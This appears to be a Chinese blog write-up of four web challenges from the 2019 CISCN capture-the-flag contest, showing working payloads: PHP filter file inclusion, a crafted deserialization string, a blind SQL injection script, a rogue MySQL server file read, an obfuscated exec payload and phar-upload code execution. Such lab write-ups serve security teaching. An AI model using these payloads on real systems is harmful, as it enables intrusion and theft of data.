2019全国大学生信息安全竞赛ciscn-writeup(4web)

web1-JustSoso

php伪协议获取源码

?file=php://filter/read=convert.base64-encode/resource=index.php

index.php

 1 <html>
 2 <?php
 3 error_reporting(0); 
 4 $file = $_GET["file"]; 
 5 $payload = $_GET["payload"];
 6 if(!isset($file)){
 7     echo 'Missing parameter'.'<br>';
 8 }
 9 if(preg_match("/flag/",$file)){
10     die('hack attacked!!!');
11 }
12 @include($file);
13 if(isset($payload))
14 {  
15 $url = parse_url($_SERVER['REQUEST_URI']);
16 parse_str($url['query'],$query);
17 foreach($query as $value)
18     {
19           if (preg_match("/flag/",$value)) { 
20             die('stop hacking!');
21             exit();
22 }    
23         
24     }
25 $payload = unserialize($payload);
26 }
27 else{ 
28    echo "Missing parameters"; 
29    } 
30 ?>
31 <!--Please test index.php?file=xxx.php -->
32 <!--Please get the source of hint.php-->
33 </html>

hint.php

 1 <?php  
 2 class Handle{ 
 3     private $handle;  
 4     public function __wakeup(){
 5             foreach(get_object_vars($this) as $k => $v) {
 6                     $this->$k = null;
 7             }
 8             echo "Waking up\n";
 9         }
10     public function __construct($handle) { 
11         $this->handle = $handle; 
12     } 
13     public function __destruct(){
14         $this->handle->getFlag();
15     }
16     }
17 
18 class Flag{
19  public $file;
20  public $token;
21  public $token_flag;
22  
23    function __construct($file){
24         $this->file = $file;
25         $this->token_flag = $this->token = md5(rand(1,10000));
26  }
27     
28     public function getFlag(){
29         $this->token_flag = md5(rand(1,10000));
30         if($this->token === $this->token_flag)
31         {
32             if(isset($this->file)){
33                 echo @highlight_file($this->file,true); 
34         }  
35   }
36     }
37 }
38 ?>

分析代码可以看出是要包含hint.php然后构造反序列化,拿到flag

有以下几个难点

1. parse_str不能出现flag

2. handle的wake会把变量清空

3. token===token_flag

根据一些以前做过的题目,找到对应可以使用这些方法,

1. 使用域名之后使用///

2. 将我们payload中O:6:"Handle":1改为O:6:"Handle":2

3. 使用引用,使token为token_flag的引用

最终payload:另外类中包含类用%00补全空缺的字符

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

web2-全宇宙最简单的SQL

简单测试就可以确定username存在sql注入,且使用一些payload尝试会输出登录失败和数据库操作失败,

可以利用这点构造payload

尝试输入大整数~0

 

简单测试后发现if,or,sleep,benchmark都被过滤了。

并且因为or被过滤无法从information_schema获取表名,字段等信息

好在简单猜出表名为user,一个字段为username,另一个大概率为password,没法确认

接下来需要进行同表查询

 1 #coding=utf-8
 2 import requests
 3 s=""
 4 url="http://39.97.227.64:52105/"
 5 for i in range(100):
 6     for j in range(30, 128):
 7         username="' and (select (ascii(substr((select t.2 from (select 1,2 from user union SELECT * from user )t LIMIT 1 OFFSET 1),{i},1))={j})+~0)#".format(i=i,j=j)
 8         data = {"username":username,"password":i}
 9         r=requests.post(url,data=data)
10         r=r.content
11         if '数据库操作失败!' in r:
12             s+=chr(j)
13             print s
14 print s #F1AG@1s-at_/fll1llag_h3r3

只获取用户名为admin,密码为F1AG@1s-at_/fll1llag_h3r3

进入后台发现是一个是一个mysql客户端,可以连接任意服务端,

这样的场景存在一个任意文件读的漏洞,前几天在ddctf中做过,所以直接将rogue_mysql_server.py部署好,需要读取的文件为/fll1llag_h3r3,输入ip地址读取即可

web3-love_math

这题很难很硬核,两个难点

1.只能使用白名单中的函数

2.输入长度小于80

这两点导致输入只能为数字,这点可以爆破,选出合计长度最短即可

1 for($i = 9;$i<=36;$i+=1)
2 echo base_convert(exec,34,$i).' '.$i."<br>";

经过前前后后多次调试,终于弄出一个合适payload

($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

长度79,相当于exec('cat f*'),用system(cat *)长度会变为80。。

 

web4-RefSpace

首先首页可以文件包含读源码

?route=php://filter/read=convert.base64-encode/resource=index

index.php

 1 <?php
 2 error_reporting(E_ALL);
 3 define('LFI', 'LFI');
 4 $lfi = $_GET['route'] ?? false;
 5 if (!$lfi) {
 6     header("location: ?route=app/index");
 7     exit();
 8 }
 9 include "{$lfi}.php";
10 //Good job, you know how to use LFI, don't you?
11 //But You are still far from flag
12 //hint: ?router=app/flag

app/flag.php

 1 <?php
 2 if (!defined('LFI')) {
 3     echo "Include me!";
 4     exit();
 5 }
 6 use interesting\FlagSDK;
 7 $sdk = new FlagSDK();
 8 $key = $_GET['key'] ?? false;
 9 if (!$key) {
10     echo "Please provide access key<br \>";
11     echo '$_GET["key"];';
12     exit();
13 }
14 $flag = $sdk->verify($key);
15 if ($flag) {
16     echo $flag;
17 } else {
18     echo "Wrong Key";
19     exit();
20 }
21 //Do you want to know more about this SDK?
22 //we 'accidentally' save a backup.zip for more information

backup.zip

 

在robots.txt中,发现上传点

简单测试发现只能上传jpg和gif,因为前面存在文件包含操作,故可以通过上传压缩包,然后使用phar命令执行代码

 

使用?route=phar://upload/eval.gif.gif/eval&cmd=code

发现system执行不了命令

执行了phpinfo();发现禁用大量函数,但没有禁用scandir和file_get_contents所以可以读代码

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("."));

发现flag.txt,但是被加密了

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("app"));

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/Up10aD.php"));

 1 <?php
 2 if (!defined('LFI')) {
 3     echo "Include me!";
 4     exit();
 5 }
 6 
 7 if (isset($_FILES["file"])) {
 8     $filename = $_FILES["file"]["name"];
 9     $fileext = ".gif";
10     switch ($_FILES["file"]["type"]) {
11         case 'image/gif':
12             $fileext = ".gif";
13             break;
14         case 'image/jpeg':
15             $fileext = ".jpg";
16             break;
17         default:
18             echo "Only gif/jpg allowed";
19             exit();
20     }
21     $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
22     move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
23     echo "文件保存位置: {$dst}<br />";
24 }
25 ?>
26 <html>
27 
28 <head>
29     <meta charset="UTF-8">
30 </head>
31 
32 <body>
33     我们不能让选手轻而易举的搜索到上传接口。<br />
34     即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
35     <form method="post" enctype="multipart/form-data">
36         <label for="file">来选择你的文件吧:</label>
37         <input type="file" name="file" id="file" />
38         <br />
39         <input type="submit" name="submit" value="Submit" />
40     </form>
41 
42 </body>
43 
44 </html>

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/index.php"));

 1 <?php
 2 if (!defined('LFI')) {
 3     echo "Include me!";
 4     exit();
 5 }
 6 ?>
 7 <html>
 8 
 9 <head>
10     <meta charset="UTF-8">
11 </head>
12 
13 <body>
14 
15     Hi CTFer,<br />
16     这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
17     Powered by Aoisystem<br />
18     <!-- error_reporting(E_ALL); -->
19     
20 </body>
21 
22 </html>

phar://upload/eval.gif.gif/eval&cmd=scandir("/");

发现/ctf目录可以读

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("/ctf"));

 

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/sdk.php"));

1 <?php ?><?php //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.<?php
2 return sg_load('A99ED...此处省略一万字...ATbQ8qZpbG56Q0FLEBD9HqiLuorcDsqfVG2iU//NLl9Hh8BwjQHcLfQOZ9nSeuSKrMFO6u06gAAAAA=');

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/ixed.lin"));

 返回一个elf文件,看起来是加密使用的,前面提示不需要破解,没有继续尝试。。。

现在看了所有代码后,发现只剩下sdk开发文档中的内容了。。

意思是我们要输入一个key与getHash一致,我们就能获得flag。

经过不知道多少尝试,查了多少资料,最终得到以下一些结论

1.getHash是一个私有方法

上传这样一个文件

包含,phar://upload/eval.gif.gif/flag

复习类相关后,懵逼了。。。我要怎么去获取一个私有方法的返回值?

判断处还是===,排除弱类型。

然后想起面向对象的三大特性,继承封装与多态,然后查询php相关,发现php的私有方法继承后也还是私有,那么尝试多态

我们可以通过继承然后重写getHash方法,但是这样,依然无法获取flag的值,重写后,返回值也被覆盖了。。。

再三思索。发现一个问题,能不能重写sha1函数?

经过查找与尝试发现可以,只要使用命名空间namespace就可以

尝试上传,访问

返回

尝试上传

返回为

这里心态又崩了,这个getHash八成是一个真的sha1的hash,只有输入真hash才能通过

那么就是说必须读取这个私有方法,接下来就是百度百度百度

发现有个反射可以读,结合题目名字refspace,space指namespace,那么ref一定是ReflectionClass!把文章中代码改了改上传。

获取hash,a356bc8d9d3e69beea3c15d40995f395425e7813

然后将代码改为如下,获取flag

 

posted @ 2019-04-23 18:37  ~kagi~  阅读(3318)  评论(0编辑  收藏  举报